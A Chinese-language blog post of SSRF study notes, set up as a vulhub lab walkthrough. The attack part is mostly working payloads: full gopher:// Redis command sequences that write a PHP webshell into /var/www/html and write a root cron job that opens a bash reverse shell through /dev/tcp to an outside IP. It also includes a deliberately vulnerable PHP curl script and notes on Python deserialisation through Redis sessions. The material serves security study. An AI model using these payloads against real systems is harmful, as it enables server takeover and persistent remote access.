SSRF漏洞

1.SSRF的危害

SSRF(危害)利用方式方法:redis写shell,fastcgi写执行任意文件命令,

Redis写任务计划反弹shell:

redis写公钥:

redis结合python:后端用python,后端缓存用的redis的session,这种python会先将key进行序列化在存进redis里,读的时候拿着key取redis里读会进行一个反序列化,python的反序列化可以直接执行命令。如果session文件里写入一个序列化的恶意代码,然后把cookie写成session id ,再去访问的时候就会从redis里把session读出来,读的时候进行一个反序列化那么系统就会执行命令

2、Gopyer协议

2.1Gopher与Redis的利用

2.1.1将其写入网站根目录

解码:这其实就是Redis的内存数据落盘

Redis 将数据存储在内存中,因此当服务器重启时数据将会丢失,因为 RAM 是易失性存储,为了避免这个问题,Redis 具有持久性特性,它会将数据保存到硬盘上。

复制代码
gopher://127.0.0.1:6379/_*1
$8
flushall  //用于清空整个redis服务器的数据
*3
$3
set
$1
1
$20


<?php phpinfo();


*4
$6
config
$3
set
$3
dir
$13
/var/www/html
*4
$6
config
$3
set
$10
dbfilename
$9
shell.php
*1
$4
Save

2.1.2Redis写任务计划反弹shell

解码:用root执行的反弹回去权限也是root权限

复制代码
gopher://127.0.0.1:6379/_*1
$8
flushall
*3
$3
set
$1
1
$70


*/1 * * * * bash -c "sh -i >& /dev/tcp/192.168.171.136/1234 0>&1"



*4
$6
config
$3
set
$3
dir
$16
/var/spool/cron/
*4
$6
config
$3
set
$10
dbfilename
$4
root
*1
$4
Save

3、SSRF漏洞复现

3.1

3.1.1先docker 起一个干净的ubuntu

docker run -it --name t1 -p 127.0.0.1:12313:80 ubuntu

保证实验vps具有git、docker、pip、docker-compose、python基础环境

下载vulhub靶场资源

git clone https://github.com/vulhub/vulhub.git

找到fpm Fastcgi目录,一键搭建漏洞环境

docker-compose up -d

3.1.2然后在/var/www/html目录下创建

复制代码
phpinfo.php
1.php
<?php
highlight_file(__FILE__);
$url = $_GET['url'];
$curl = curl_init($url);
curl_setopt($curl, CURLOPT_HEADER, 0);
$responseText = curl_exec($curl);

echo $responseText;
curl_close($curl);
?>

3.1.3用file去读任意文件,dict探测端口,

3.1.4用Gopher请求

二次编码后查看

这样就可以拿到id了

还有很多镜像都拉不起来,还在解决当中

相关推荐
数字护盾(和中)6 分钟前
和中科技剖析 EDR 绕过全链路,AMSI、ETW 规避技术与防御对策
运维·网络·人工智能·科技·安全·web安全
灰灰202623 分钟前
GitHub 国内下载加速工具合集
github·github下载加速
Demons_kirit24 分钟前
PortSwigger网络缓存欺骗(1)
网络·缓存
m4Rk_27 分钟前
【论文阅读】Agent 记忆机制(50):PACE——按下一步预测价值动态分配历史记忆粒度
论文阅读·人工智能·学习·开源·github
安全小王子31 分钟前
nssctf_sign-ezc++
网络安全·逆向·ctf·nssctf
初願致夕霞1 小时前
《为什么公网访问不了内网?正向代理、内网穿透与 NAT 打洞一次说清》
linux·网络·tcp/ip·智能路由器
喜欢吃燃面1 小时前
Linux网络编程深度解析:从Socket API到自定义协议设计
linux·网络·arm开发
xxy222411 小时前
Linux 网络编程入门(一):从 OSI 模型到 TCP Socket 编程
网络·tcp/ip·tcp
消失的旧时光-19431 小时前
(KMP-Net进阶)第一篇:AppResult<T>——网络层到底应该 throw,还是返回统一 Result?
网络·ktor·kmp
网安蟹佬霸2 小时前
区块链与智能合约安全实战:从Solidity审计到DeFi漏洞深度剖析
运维·前端·网络·安全·自动化·区块链·智能合约